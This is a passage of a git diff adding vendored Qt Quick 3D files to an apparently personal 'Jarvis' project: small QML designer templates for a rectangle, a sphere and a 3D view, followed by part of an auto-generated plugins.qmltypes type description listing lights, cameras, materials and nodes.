Qt Foundation. The licenses are as published by +** the Free Software Foundation and appearing in the file LICENSE.GPL3 +** included in the packaging of this file. Please review the following +** information to ensure the GNU General Public License requirements will +** be met: https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.15 +import QtQuick3D 1.15 + +Model { + source: "#Rectangle" + + materials: rectMaterial + DefaultMaterial { + id: rectMaterial + diffuseColor: "#4aee45" + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/designer/source/sphere_model_template.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/designer/source/sphere_model_template.qml new file mode 100644 index 00000000..32255412 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/designer/source/sphere_model_template.qml @@ -0,0 +1,41 @@ +/**************************************************************************** +** +** Copyright (C) 2020 The Qt Company Ltd. +** Contact: https://www.qt.io/licensing/ +** +** This file is part of Qt Quick 3D. +** +** $QT_BEGIN_LICENSE:GPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 3 or (at your option) any later version +** approved by the KDE Free Qt Foundation. The licenses are as published by +** the Free Software Foundation and appearing in the file LICENSE.GPL3 +** included in the packaging of this file. Please review the following +** information to ensure the GNU General Public License requirements will +** be met: https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.15 +import QtQuick3D 1.15 + +Model { + source: "#Sphere" + + materials: sphereMaterial + DefaultMaterial { + id: sphereMaterial + diffuseColor: "#4aee45" + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/designer/source/view3D_template.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/designer/source/view3D_template.qml new file mode 100644 index 00000000..db399277 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/designer/source/view3D_template.qml @@ -0,0 +1,70 @@ +/**************************************************************************** +** +** Copyright (C) 2019 The Qt Company Ltd. +** Contact: https://www.qt.io/licensing/ +** +** This file is part of Qt Quick 3D. +** +** $QT_BEGIN_LICENSE:GPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 3 or (at your option) any later version +** approved by the KDE Free Qt Foundation. The licenses are as published by +** the Free Software Foundation and appearing in the file LICENSE.GPL3 +** included in the packaging of this file. Please review the following +** information to ensure the GNU General Public License requirements will +** be met: https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.15 +import QtQuick3D 1.15 + +View3D { + width: 400 + height: 400 + environment: sceneEnvironment + + SceneEnvironment { + id: sceneEnvironment + antialiasingMode: SceneEnvironment.MSAA + antialiasingQuality: SceneEnvironment.High + } + + Node { + id: scene + + DirectionalLight { + id: directionalLight + } + + PerspectiveCamera { + id: camera + z: 350 + } + + Model { + id: cubeModel + eulerRotation.x: 30 + eulerRotation.y: 45 + + source: "#Cube" + + materials: cubeMaterial + DefaultMaterial { + id: cubeMaterial + diffuseColor: "#4aee45" + } + } + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/plugins.qmltypes b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/plugins.qmltypes new file mode 100644 index 00000000..0b541766 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/plugins.qmltypes @@ -0,0 +1,1998 @@ +import QtQuick.tooling 1.2 + +// This file describes the plugin-supplied types contained in the library. +// It is used for QML tooling purposes only. +// +// This file was auto-generated by: +// 'qmlplugindump -nonrelocatable QtQuick3D 1.15' + +Module { + dependencies: [ + "QtQuick 2.15", + "QtQuick.Window 2.1", + "QtQuick3D.Effects 1.15", + "QtQuick3D.Materials 1.15" + ] + Component { + name: "QQuick3DAbstractLight" + defaultProperty: "data" + prototype: "QQuick3DNode" + exports: ["QtQuick3D/Light 1.14"] + isCreatable: false + exportMetaObjectRevisions: [0] + Enum { + name: "QSSGShadowMapQuality" + values: { + "ShadowMapQualityLow": 0, + "ShadowMapQualityMedium": 1, + "ShadowMapQualityHigh": 2, + "ShadowMapQualityVeryHigh": 3 + } + } + Property { name: "color"; type: "QColor" } + Property { name: "ambientColor"; type: "QColor" } + Property { name: "brightness"; type: "float" } + Property { name: "scope"; type: "QQuick3DNode"; isPointer: true } + Property { name: "castsShadow"; type: "bool" } + Property { name: "shadowBias"; type: "float" } + Property { name: "shadowFactor"; type: "float" } + Property { name: "shadowMapQuality"; type: "QSSGShadowMapQuality" } + Property { name: "shadowMapFar"; type: "float" } + Property { name: "shadowFilter"; type: "float" } + Method { + name: "setColor" + Parameter { name: "color"; type: "QColor" } + } + Method { + name: "setAmbientColor" + Parameter { name: "ambientColor"; type: "QColor" } + } + Method { + name: "setBrightness" + Parameter { name: "brightness"; type: "float" } + } + Method { + name: "setScope" + Parameter { name: "scope"; type: "QQuick3DNode"; isPointer: true } + } + Method { + name: "setCastsShadow" + Parameter { name: "castsShadow"; type: "bool" } + } + Method { + name: "setShadowBias" + Parameter { name: "shadowBias"; type: "float" } + } + Method { + name: "setShadowFactor" + Parameter { name: "shadowFactor"; type: "float" } + } + Method { + name: "setShadowMapQuality" + Parameter { name: "shadowMapQuality"; type: "QSSGShadowMapQuality" } + } + Method { + name: "setShadowMapFar" + Parameter { name: "shadowMapFar"; type: "float" } + } + Method { + name: "setShadowFilter" + Parameter { name: "shadowFilter"; type: "float" } + } + } + Component { + name: "QQuick3DAreaLight" + defaultProperty: "data" + prototype: "QQuick3DAbstractLight" + exports: ["QtQuick3D/AreaLight 1.14"] + exportMetaObjectRevisions: [0] + Property { name: "width"; type: "float" } + Property { name: "height"; type: "float" } + Method { + name: "setWidth" + Parameter { name: "width"; type: "float" } + } + Method { + name: "setHeight" + Parameter { name: "height"; type: "float" } + } + } + Component { + name: "QQuick3DCamera" + defaultProperty: "data" + prototype: "QQuick3DNode" + exports: ["QtQuick3D/Camera 1.14", "QtQuick3D/Camera 1.15"] + isCreatable: false + exportMetaObjectRevisions: [0, 1] + Enum { + name: "FieldOfViewOrientation" + values: { + "Vertical": 0, + "Horizontal": 1 + } + } + Property { name: "frustumCullingEnabled"; type: "bool" } + Method { + name: "setFrustumCullingEnabled" + Parameter { name: "frustumCullingEnabled"; type: "bool" } + } + Method { + name: "mapToViewport" + type: "QVector3D" + Parameter { name: "scenePos"; type: "QVector3D" } + } + Method { + name: "mapFromViewport" + type: "QVector3D" + Parameter { name: "viewportPos"; type: "QVector3D" } + } + Method { + name: "lookAt" + revision: 1 + Parameter { name: "scenePos"; type: "QVector3D" } + } + Method { + name: "lookAt" + revision: 1 + Parameter { name: "node"; type: "const QQuick3DNode"; isPointer: true } + } + } + Component { + name: "QQuick3DCustomCamera" + defaultProperty: "data" + prototype: "QQuick3DCamera" + exports: ["QtQuick3D/CustomCamera 1.14"] + exportMetaObjectRevisions: [0] + Property { name: "projection"; type: "QMatrix4x4" } + Method { + name: "setProjection" + Parameter { name: "projection"; type: "QMatrix4x4" } + } + } + Component { + name: "QQuick3DCustomMaterial" + defaultProperty: "data" + prototype: "QQuick3DMaterial" + exports: ["QtQuick3D.Materials/CustomMaterial 1.14"] + exportMetaObjectRevisions: [0] + Property { name: "hasTransparency"; type: "bool" } + Property { name: "hasRefraction"; type: "bool" } + Property { name: "alwaysDirty"; type: "bool" } + Property { name: "shaderInfo"; type: "QQuick3DShaderUtilsShaderInfo"; isPointer: true } + Property { name: "passes"; type: "QQuick3DShaderUtilsRenderPass"; isList: true; isReadonly: true } + Signal { + name: "hasTransparencyChanged" + Parameter { name: "hasTransparency"; type: "bool" } + } + Signal { + name: "hasRefractionChanged" + Parameter { name: "hasRefraction"; type: "bool" } + } + Signal { + name: "alwaysDirtyChanged" + Parameter { name: "alwaysDirty"; type: "bool" } + } + Method { + name: "setHasTransparency" + Parameter { name: "hasTransparency"; type: "bool" } + } + Method { + name: "setHasRefraction" + Parameter { name: "hasRefraction"; type: "bool" } + } + Method { + name: "setShaderInfo" + Parameter { name: "shaderInfo"; type: "QQuick3DShaderUtilsShaderInfo"; isPointer: true } + } + Method { + name: "setAlwaysDirty" + Parameter { name: "alwaysDirty"; type: "bool" } + } + } + Component { + name: "QQuick3DDefaultMaterial" + defaultProperty: "data" + prototype: "QQuick3DMaterial" + exports: [ + "QtQuick3D/DefaultMaterial 1.14", + "QtQuick3D/DefaultMaterial 1.15" + ] + exportMetaObjectRevisions: [0, 1] + Enum { + name: "Lighting" + values: { + "NoLighting": 0, + "FragmentLighting": 1 + } + } + Enum { + name: "BlendMode" + values: { + "SourceOver": 0, + "Screen": 1, + "Multiply": 2, + "Overlay": 3, + "ColorBurn": 4, + "ColorDodge": 5 + } + } + Enum { + name: "SpecularModel" + values: { + "Default": 0, + "KGGX": 1, + "KWard": 2 + } + } + Property { name: "lighting"; type: "Lighting" } + Property { name: "blendMode"; type: "BlendMode" } + Property { name: "diffuseColor"; type: "QColor" } + Property { name: "diffuseMap"; type: "QQuick3DTexture"; isPointer: true } + Property { name: "emissiveFactor"; type: "float" } + Property { name: "emissiveMap"; type: "QQuick3DTexture"; isPointer: true } + Property { name: "emissiveColor"; type: "QColor" } + Property { name: "specularReflectionMap"; type: "QQuick3DTexture"; isPointer: true } + Property { name: "specularMap"; type: "QQuick3DTexture"; isPointer: true } + Property { name: "specularModel"; type: "SpecularModel" } + Property { name: "specularTint"; type: "QColor" } + Property { name: "indexOfRefraction"; type: "float" } + Property { name: "fresnelPower"; type: "float" } + Property { name: "specularAmount"; type: "float" } + Property { name: "specularRoughness"; type: "float" } + Property { name: "roughnessMap"; type: "QQuick3DTexture"; isPointer: true } + Property { name: "roughnessChannel"; revision: 1; type: "TextureChannelMapping" } + Property { name: "opacity"; type: "float" } + Property { name: "opacityMap"; type: "QQuick3DTexture"; isPointer: true } + Property { name: "opacityChannel"; revision: 1; type: "TextureChannelMapping" } + Property { name: "bumpMap"; type: "QQuick3DTexture"; isPointer: true } + Property { name: "bumpAmount"; type: "float" } + Property { name: "normalMap"; type: "QQuick3DTexture"; isPointer: true } + Property { name: "translucencyMap"; type: "QQuick3DTexture"; isPointer: true } + Property { name: "translucencyChannel"; revision: 1; type: "TextureChannelMapping" } + Property { name: "translucentFalloff"; type: "float" } + Property { name: "diffuseLightWrap"; type: "float" } + Property { name: "vertexColorsEnabled"; type: "bool" } + Signal { + name: "lightingChanged" + Parameter { name: "lighting"; type: "Lighting" } + } + Signal { + name: "blendModeChanged" + Parameter { name: "blendMode"; type: "BlendMode" } + } + Signal { + name: "diffuseColorChanged" + Parameter { name: "diffuseColor"; type: "QColor" } + } + Signal { + name: "diffuseMapChanged" + Parameter { name: "diffuseMap"; type: "QQuick3DTexture"; isPointer: true } + } + Signal { + name: "emissiveFactorChanged" + Parameter { name: "emissiveFactor"; type: "float" } + } + Signal { + name: "emissiveMapChanged" + Parameter { name: "emissiveMap"; type: "QQuick3DTexture"; isPointer: true } + } + Signal { + name: "emissiveColorChanged" + Parameter { name: "emissiveColor"; type: "QColor" } + } + Signal { + name: "specularReflectionMapChanged" + Parameter { name: "specularReflectionMap"; type: "QQuick3DTexture"; isPointer: true } + } + Signal { + name: "specularMapChanged" + Parameter { name: "specularMap"; type: "QQuick3DTexture"; isPointer: true } + } + Signal { + name: "specularModelChanged" + Parameter { name: "specularModel"; type: "SpecularModel" } + } + Signal { + name: "specularTintChanged" + Parameter { name: "specularTint"; type: "QColor" } + } + Signal { + name: "indexOfRefractionChanged" + Parameter { name: "indexOfRefraction"; type: "float" } + } + Signal { + name: "fresnelPowerChanged" + Parameter { name: "fresnelPower"; type: "float" } + } + Signal { + name: "specularAmountChanged" + Parameter { name: "specularAmount"; type: "float" } + } + Signal { + name: "specularRoughnessChanged" + Parameter { name: "specularRoughness"; type: "float" } + } + Signal { + name: "roughnessMapChanged" + Parameter { name: "roughnessMap"; type: "QQuick3DTexture"; isPointer: true } + } + Signal { + name: "opacityChanged" + Parameter { name: "opacity"; type: "float" } + } + Signal { + name: "opacityMapChanged" + Parameter { name: "opacityMap"; type: "QQuick3DTexture"; isPointer: true } + } + Signal { + name: "bumpMapChanged" + Parameter { name: "bumpMap"; type: "QQuick3DTexture"; isPointer: true } + } + Signal { + name: "bumpAmountChanged" + Parameter { name: "bumpAmount"; type: "float" } + } + Signal { + name: "normalMapChanged" + Parameter { name: "normalMap"; type: "QQuick3DTexture"; isPointer: true } + } + Signal { + name: "translucencyMapChanged" + Parameter { name: "translucencyMap"; type: "QQuick3DTexture"; isPointer: true } + } + Signal { + name: "translucentFalloffChanged" + Parameter { name: "translucentFalloff"; type: "float" } + } + Signal { + name: "diffuseLightWrapChanged" + Parameter { name: "diffuseLightWrap"; type: "float" } + } + Signal { + name: "vertexColorsEnabledChanged" + Parameter { name: "vertexColorsEnabled"; type: "bool" } + } + Signal { + name: "roughnessChannelChanged" + revision: 1 + Parameter { name: "channel"; type: "TextureChannelMapping" } + } + Signal { + name: "opacityChannelChanged" + revision: 1 + Parameter { name: "channel"; type: "TextureChannelMapping" } + } + Signal { + name: "translucencyChannelChanged" + revision: 1 + Parameter { name: "channel"; type: "TextureChannelMapping" } + } + Method { + name: "setLighting" + Parameter { name: "lighting"; type: "Lighting" } + } + Method { + name: "setBlendMode" + Parameter { name: "blendMode"; type: "BlendMode" } + } + Method { + name: "setDiffuseColor" + Parameter { name: "diffuseColor"; type: "QColor" } + } + Method { + name: "setDiffuseMap" + Parameter { name: "diffuseMap"; type: "QQuick3DTexture"; isPointer: true } + } + Method { + name: "setEmissiveFactor" + Parameter { name: "emissiveFactor"; type: "float" } + } + Method { + name: "setEmissiveMap" + Parameter { name: "emissiveMap"; type: "QQuick3DTexture"; isPointer: true } + } + Method { + name: "setEmissiveColor" + Parameter { name: "emissiveColor"; type: "QColor" } + } + Method { + name: "setSpecularReflectionMap" + Parameter { name: "specularReflectionMap"; type: "QQuick3DTexture"; isPointer: true } + } + Method { + name: "setSpecularMap" + Parameter { name: "specularMap"; type: "QQuick3DTexture"; isPointer: true } + } + Method { + name: "setSpecularModel" + Parameter { name: "specularModel"; type: "SpecularModel" } + } + Method { + name: "setSpecularTint" + Parameter { name: "specularTint"; type: "QColor" } + } + Method { + name: "setIndexOfRefraction" + Parameter { name: "indexOfRefraction"; type: "float" } + } + Method { + name: "setFresnelPower" + Parameter { name: "fresnelPower"; type: "float" } + } + Method { + name: "setSpecularAmount" + Parameter { name: "specularAmount"; type: "float" } + } + Method { + name: "setSpecularRoughness" + Parameter { name: "specularRoughness"; type: "float" } + } + Method { + name: "setRoughnessMap" + Parameter { name: "roughnessMap"; type: "QQuick3DTexture"; isPointer: true } + } + Method { + name: "setOpacity" + Parameter { name: "opacity"; type: "float" } + } + Method { + name: "setOpacityMap" + Parameter { name: "opacityMap"; type: "QQuick3DTexture"; isPointer: true } + } + Method { + name: "setBumpMap" + Parameter { name: "bumpMap"; type: "QQuick3DTexture"; isPointer: true } + } + Method { + name: "setBumpAmount" + Parameter { name: "bumpAmount"; type: "float" } + } + Method { + name: "setNormalMap" + Parameter { name: "normalMap"; type: "QQuick3DTexture"; isPointer: true } + } + Method { + name: "setTranslucencyMap" + Parameter { name: "translucencyMap"; type: "QQuick3DTexture"; isPointer: true } + } + Method { + name: "setTranslucentFalloff" + Parameter { name: "translucentFalloff"; type: "float" } + } + Method { + name: "setDiffuseLightWrap" + Parameter { name: "diffuseLightWrap"; type: "float" } + } + Method { + name: "setVertexColorsEnabled" + Parameter { name: "vertexColorsEnabled"; type: "bool" } + } + Method { + name: "setRoughnessChannel" + revision: 1 + Parameter { name: "channel"; type: "TextureChannelMapping" } + } + Method { + name: "setOpacityChannel" + revision: 1 + Parameter { name: "channel"; type: "TextureChannelMapping" } + } + Method { + name: "setTranslucencyChannel" + revision: 1 + Parameter { name: "channel"; type: "TextureChannelMapping" } + } + } + Component { + name: "QQuick3DDirectionalLight" + defaultProperty: "data" + prototype: "QQuick3DAbstractLight" + exports: ["QtQuick3D/DirectionalLight 1.14"] + exportMetaObjectRevisions: [0] + } + Component { + name: "QQuick3DEffect" + defaultProperty: "data" + prototype: "QQuick3DObject" + exports: ["QtQuick3D.Effects/Effect 1.15"] + exportMetaObjectRevisions: [0] + Property { name: "passes"; type: "QQuick3DShaderUtilsRenderPass"; isList: true; isReadonly: true } + } + Component { + name: "QQuick3DFrustumCamera" + defaultProperty: "data" + prototype: "QQuick3DPerspectiveCamera" + exports: ["QtQuick3D/FrustumCamera 1.14"] + exportMetaObjectRevisions: [0] + Property { name: "top"; type: "float" } + Property { name: "bottom"; type: "float" } + Property { name: "right"; type: "float" } + Property { name: "left"; type: "float" } + Method { + name: "setTop" + Parameter { name: "top"; type: "float" } + } + Method { + name: "setBottom" + Parameter { name: "bottom"; type: "float" } + } + Method { + name: "setRight" + Parameter { name: "right"; type: "float" } + } + Method { + name: "setLeft" + Parameter { name: "left"; type: "float" } + } + } + Component { + name: "QQuick3DGeometry" + defaultProperty: "data" + prototype: "QQuick3DObject" + exports: ["QtQuick3D/Geometry 1.14"] + isCreatable: false + exportMetaObjectRevisions: [0] + Property { name: "name"; type: "string" } + Signal { name: "geometryNodeDirty" } + Method { + name: "setName" + Parameter { name: "name"; type: "string" } + } + } + Component { + name: "QQuick3DLoader" + defaultProperty: "data" + prototype: "QQuick3DNode" + exports: ["QtQuick3D/Loader3D 1.14"] + exportMetaObjectRevisions: [0] + Enum { + name: "Status" + values: { + "Null": 0, + "Ready": 1, + "Loading": 2, + "Error": 3 + } + } + Property { name: "active"; type: "bool" } + Property { name: "source"; type: "QUrl" } + Property { name: "sourceComponent"; type: "QQmlComponent"; isPointer: true } + Property { name: "item"; type: "QObject"; isReadonly: true; isPointer: true } + Property { name: "status"; type: "Status"; isReadonly: true } + Property { name: "progress"; type: "double"; isReadonly: true } + Property { name: "asynchronous"; type: "bool" } + Signal { name: "loaded" } + Method { + name: "setSource" + Parameter { type: "QQmlV4Function"; isPointer: true } + } + } + Component { + name: "QQuick3DMaterial" + defaultProperty: "data" + prototype: "QQuick3DObject" + exports: ["QtQuick3D/Material 1.14"] + isCreatable: false + exportMetaObjectRevisions: [0] + Enum { + name: "CullMode" + values: { + "BackFaceCulling": 1, + "FrontFaceCulling": 2, + "NoCulling": 3 + } + } + Enum { + name: "TextureChannelMapping" + values: { + "R": 0, + "G": 1, + "B": 2, + "A": 3 + } + } + Property { name: "lightmapIndirect"; type: "QQuick3DTexture"; isPointer: true } + Property { name: "lightmapRadiosity"; type: "QQuick3DTexture"; isPointer: true } + Property { name: "lightmapShadow"; type: "QQuick3DTexture"; isPointer: true } + Property { name: "lightProbe"; type: "QQuick3DTexture"; isPointer: true } + Property { name: "displacementMap"; type: "QQuick3DTexture"; isPointer: true } + Property { name: "displacementAmount"; type: "float" } + Property { name: "cullMode"; type: "CullMode" } + Signal { + name: "lightmapIndirectChanged" + Parameter { name: "lightmapIndirect"; type: "QQuick3DTexture"; isPointer: true } + } + Signal { + name: "lightmapRadiosityChanged" + Parameter { name: "lightmapRadiosity"; type: "QQuick3DTexture"; isPointer: true } + } + Signal { + name: "lightmapShadowChanged" + Parameter { name: "lightmapShadow"; type: "QQuick3DTexture"; isPointer: true } + } + Signal { + name: "lightProbeChanged" + Parameter { name: "lightProbe"; type: "QQuick3DTexture"; isPointer: true } + } + Signal { + name: "displacementMapChanged" + Parameter { name: "displacementMap"; type: "QQuick3DTexture"; isPointer: true } + } + Signal { + name: "displacementAmountChanged" + Parameter { name: "displacementAmount"; type: "float" } + } + Signal { + name: "cullModeChanged" + Parameter { name: "cullMode"; type: "CullMode" } + } + Method { + name: "setLightmapIndirect" + Parameter { name: "lightmapIndirect"; type: "QQuick3DTexture"; isPointer: true } + } + Method { + name: "setLightmapRadiosity" + Parameter { name: "lightmapRadiosity"; type: "QQuick3DTexture"; isPointer: true } + } + Method { + name: "setLightmapShadow" + Parameter { name: "lightmapShadow"; type: "QQuick3DTexture"; isPointer: true } + } + Method { + name: "setLightProbe" + Parameter { name: "lightProbe"; type: "QQuick3DTexture"; isPointer: true } + } + Method { + name: "setDisplacementMap" + Parameter { name: "displacementMap"; type: "QQuick3DTexture"; isPointer: true } + } + Method { + name: "setDisplacementAmount" + Parameter { name: "displacementAmount"; type: "float" } + } + Method { + name: "setCullMode" + Parameter { name: "cullMode"; type: "CullMode" } + } + } + Component { + name: "QQuick3DModel" + defaultProperty: "data" + prototype: "QQuick3DNode" + exports: ["QtQuick3D/Model 1.14", "QtQuick3D/Model 1.15"] + exportMetaObjectRevisions: [0, 1] + Enum { + name: "QSSGTessellationModeValues" + values: { + "NoTessellation": 0, + "Linear": 1, + "Phong": 2, + "NPatch": 3 + } + } + Property { name: "source"; type: "QUrl" } + Property { name: "tessellationMode"; type: "QSSGTessellationModeValues" } + Property { name: "edgeTessellation"; type: "float" } + Property { name: "innerTessellation"; type: "float" } + Property { name: "isWireframeMode"; type: "bool" } + Property { name: "castsShadows"; type: "bool" } + Property { name: "receivesShadows"; type: "bool" } + Property { name: "materials"; type: "QQuick3DMaterial"; isList: true; isReadonly: true } + Property { name: "pickable"; type: "bool" } + Property { name: "geometry"; type: "QQuick3DGeometry"; isPointer: true } + Property { name: "bounds"; revision: 1; type: "QQuick3DBounds3"; isReadonly: true } + Method { + name: "setSource" + Parameter { name: "source"; type: "QUrl" } + } + Method { + name: "setTessellationMode" + Parameter { name: "tessellationMode"; type: "QSSGTessellationModeValues" } + } + Method { + name: "setEdgeTessellation" + Parameter { name: "edgeTessellation"; type: "float" } + } + Method { + name: "setInnerTessellation" + Parameter { name: "innerTessellation"; type: "float" } + } + Method { + name: "setIsWireframeMode" + Parameter { name: "isWireframeMode"; type: "bool" } + } + Method { + name: "setCastsShadows" + Parameter { name: "castsShadows"; type: "bool" } + } + Method { + name: "setReceivesShadows" + Parameter { name: "receivesShadows"; type: "bool" } + } + Method { + name: "setPickable" + Parameter { name: "pickable"; type: "bool" } + } + Method { + name: "setGeometry" + Parameter { name: "geometry"; type: "QQuick3DGeometry"; isPointer: true } + } + Method { + name: "setBounds" + Parameter { name: "min"; type: "QVector3D" } + Parameter { name: "max"; type: "QVector3D" } + } + } + Component { + name: "QQuick3DNode" + defaultProperty: "data" + prototype: "QQuick3DObject" + exports: ["QtQuick3D/Node 1.14", "QtQuick3D/Node 1.15"] + exportMetaObjectRevisions: [0, 1] + Enum { + name: "TransformSpace" + values: { + "LocalSpace": 0, + "ParentSpace": 1, + "SceneSpace": 2 + } + } + Enum { + name: "StaticFlags" + values: { + "None": 0 + } + } + Property { name: "x"; type: "float" } + Property { name: "y"; type: "float" } + Property { name: "z"; type: "float" } + Property { name: "rotation"; revision: 1; type: "QQuaternion" } + Property { name: "eulerRotation"; revision: 1; type: "QVector3D" } + Property { name: "position"; type: "QVector3D" } + Property { name: "scale"; type: "QVector3D" } + Property { name: "pivot"; type: "QVector3D" } + Property { name: "opacity"; type: "float" } + Property { name: "visible"; type: "bool" } + Property { name: "forward"; type: "QVector3D"; isReadonly: true } + Property { name: "up"; type: "QVector3D"; isReadonly: true } + Property { name: "right"; type: "QVector3D"; isReadonly: true } + Property { name: "scenePosition"; type: "QVector3D"; isReadonly: true } + Property { name: "sceneRotation"; revision: 1; type: "QQuaternion"; isReadonly: true } + Property { name: "sceneScale"; type: "QVector3D"; isReadonly: true } + Property { name: "sceneTransform"; type: "QMatrix4x4"; isReadonly: true } + Property { name: "staticFlags"; revision: 1; type: "int" } + Signal { name: "rotationChanged"; revision: 1 } + Signal { name: "eulerRotationChanged"; revision: 1 } + Signal { name: "localOpacityChanged" } + Method { + name: "setX" + Parameter { name: "x"; type: "float" } + } + Method { + name: "setY" + Parameter { name: "y"; type: "float" } + } + Method { + name: "setZ" + Parameter { name: "z"; type: "float" } + } + Method { + name: "setRotation" + revision: 1 + Parameter { name: "rotation"; type: "QQuaternion" } + } + Method { + name: "setEulerRotation" + revision: 1 + Parameter { name: "eulerRotation"; type: "QVector3D" } + } + Method { + name: "setPosition" + Parameter { name: "position"; type: "QVector3D" } + } + Method { + name: "setScale" + Parameter { name: "scale"; type: "QVector3D" } + } + Method { + name: "setPivot" + Parameter { name: "pivot"; type: "QVector3D" } + } + Method { + name: "setLocalOpacity" + Parameter { name: "opacity"; type: "float" } + } + Method { + name: "setVisible" + Parameter { name: "visible"; type: "bool" } + } + Method { + name: "setStaticFlags" + Parameter { name: "staticFlags"; type: "int" } + } + Method { + name: "rotate" + Parameter { name: "degrees"; type: "double" } + Parameter { name: "axis"; type: "QVector3D" } + Parameter { name: "space"; type: "TransformSpace" } + } + Method { + name: "mapPositionToScene" + type: "QVector3D" + Parameter { name: "localPosition"; type: "QVector3D" } + } + Method { + name: "mapPositionFromScene" + type: "QVector3D" + Parameter { name: "scenePosition"; type: "QVector3D" } + } + Method { + name: "mapPositionToNode" + type: "QVector3D" + Parameter { name: "node"; type: "QQuick3DNode"; isPointer: true } + Parameter { name: "localPosition"; type: "QVector3D" } + } + Method { + name: "mapPositionFromNode" + type: "QVector3D" + Parameter { name: "node"; type: "QQuick3DNode"; isPointer: true } + Parameter { name: "localPosition"; type: "QVector3D" } + } + Method { + name: "mapDirectionToScene" + type: "QVector3D" + Parameter { name: "localDirection"; type: "QVector3D" } + } + Method { + name: "mapDirectionFromScene" + type: "QVector3D" + Parameter { name: "sceneDirection"; type: "QVector3D" } + } + Method { + name: "mapDirectionToNode" + type: "QVector3D" + Parameter { name: "node"; type: "QQuick3DNode"; isPointer: true } + Parameter { name: "localDirection"; type: "QVector3D" } + } + Method { + name: "mapDirectionFromNode" + type: "QVector3D" + Parameter { name: "node"; type: "QQuick3DNode"; isPointer: true } + Parameter { name: "localDirection"; type: "QVector3D" } + } + } + Component { + name: "QQuick3DObject" + defaultProperty: "data" + prototype: "QObject" + exports: ["QtQuick3D/Object3D 1.14"] + isCreatable: false + exportMetaObjectRevisions: [0] + Property { name: "parent"; type: "QQuick3DObject"; isPointer: true } + Property { name: "data"; type: "QObject"; isList: true; isReadonly: true } + Property { name: "resources"; type: "QObject"; isList: true; isReadonly: true } + Property { name: "children"; type: "QQuick3DObject"; isList: true; isReadonly: true } + Property { name: "states"; type: "QQuickState"; isList: true; isReadonly: true } + Property { name: "transitions"; type: "QQuickTransition"; isList: true; isReadonly: true } + Property { name: "state"; type: "string" } + Method { name: "update" } + Method { + name: "setParentItem" + Parameter { name: "parentItem"; type: "QQuick3DObject"; isPointer: true } + } + } + Component { + name: "QQuick3DOrthographicCamera" + defaultProperty: "data" + prototype: "QQuick3DCamera" + exports: ["QtQuick3D/OrthographicCamera 1.14"] + exportMetaObjectRevisions: [0] + Property { name: "clipNear"; type: "float" } + Property { name: "clipFar"; type: "float" } + Method { + name: "setClipNear" + Parameter { name: "clipNear"; type: "float" } + } + Method { + name: "setClipFar" + Parameter { name: "clipFar"; type: "float" } + } + } + Component { + name: "QQuick3DPerspectiveCamera" + defaultProperty: "data" + prototype: "QQuick3DCamera" + exports: ["QtQuick3D/PerspectiveCamera 1.14"] + exportMetaObjectRevisions: [0] + Property { name: "clipNear"; type: "float" } + Property { name: "clipFar"; type: "float" } + Property { name: "fieldOfView"; type: "float" } + Property { name: "fieldOfViewOrientation"; type: "FieldOfViewOrientation" } + Method { + name: "setClipNear" + Parameter { name: "clipNear"; type: "float" } + } + Method { + name: "setClipFar" + Parameter { name: "clipFar"; type: "float" } + } + Method { + name: "setFieldOfView" + Parameter { name: "fieldOfView"; type: "float" } + } + Method { + name: "setFieldOfViewOrientation" + Parameter { name: "fieldOfViewOrientation"; type: "FieldOfViewOrientation" } + } + } + Component { + name: "QQuick3DPointLight" + defaultProperty: "data" + prototype: "QQuick3DAbstractLight" + exports: ["QtQuick3D/PointLight 1.14"] + exportMetaObjectRevisions: [0] + Property { name: "constantFade"; type: "float" } + Property { name: "linearFade"; type: "float" } + Property { name: "quadraticFade"; type: "float" } + Method { + name: "setConstantFade" + Parameter { name: "constantFade"; type: "float" } + } + Method { + name: "setLinearFade" + Parameter { name: "linearFade"; type: "float" } + } + Method { + name: "setQuadraticFade" + Parameter { name: "quadraticFade"; type: "float" } + } + } + Component { + name: "QQuick3DPrincipledMaterial" + defaultProperty: "data" + prototype: "QQuick3DMaterial" + exports: [ + "QtQuick3D/PrincipledMaterial 1.14", + "QtQuick3D/PrincipledMaterial 1.15" + ] + exportMetaObjectRevisions: [0, 1] + Enum { + name: "Lighting" + values: { + "NoLighting": 0, + "FragmentLighting": 1 + } + } + Enum { + name: "BlendMode" + values: { + "SourceOver": 0, + "Screen": 1, + "Multiply": 2, + "Overlay": 3, + "ColorBurn": 4, + "ColorDodge": 5 + } + } + Enum { + name: "AlphaMode" + values: { + "Opaque": 0, + "Mask": 1, + "Blend": 2 + } + } + Property { name: "lighting"; type: "Lighting" } + Property { name: "blendMode"; type: "BlendMode" } + Property { name: "baseColor"; type: "QColor" } + Property { name: "baseColorMap"; type: "QQuick3DTexture"; isPointer: true } + Property { name: 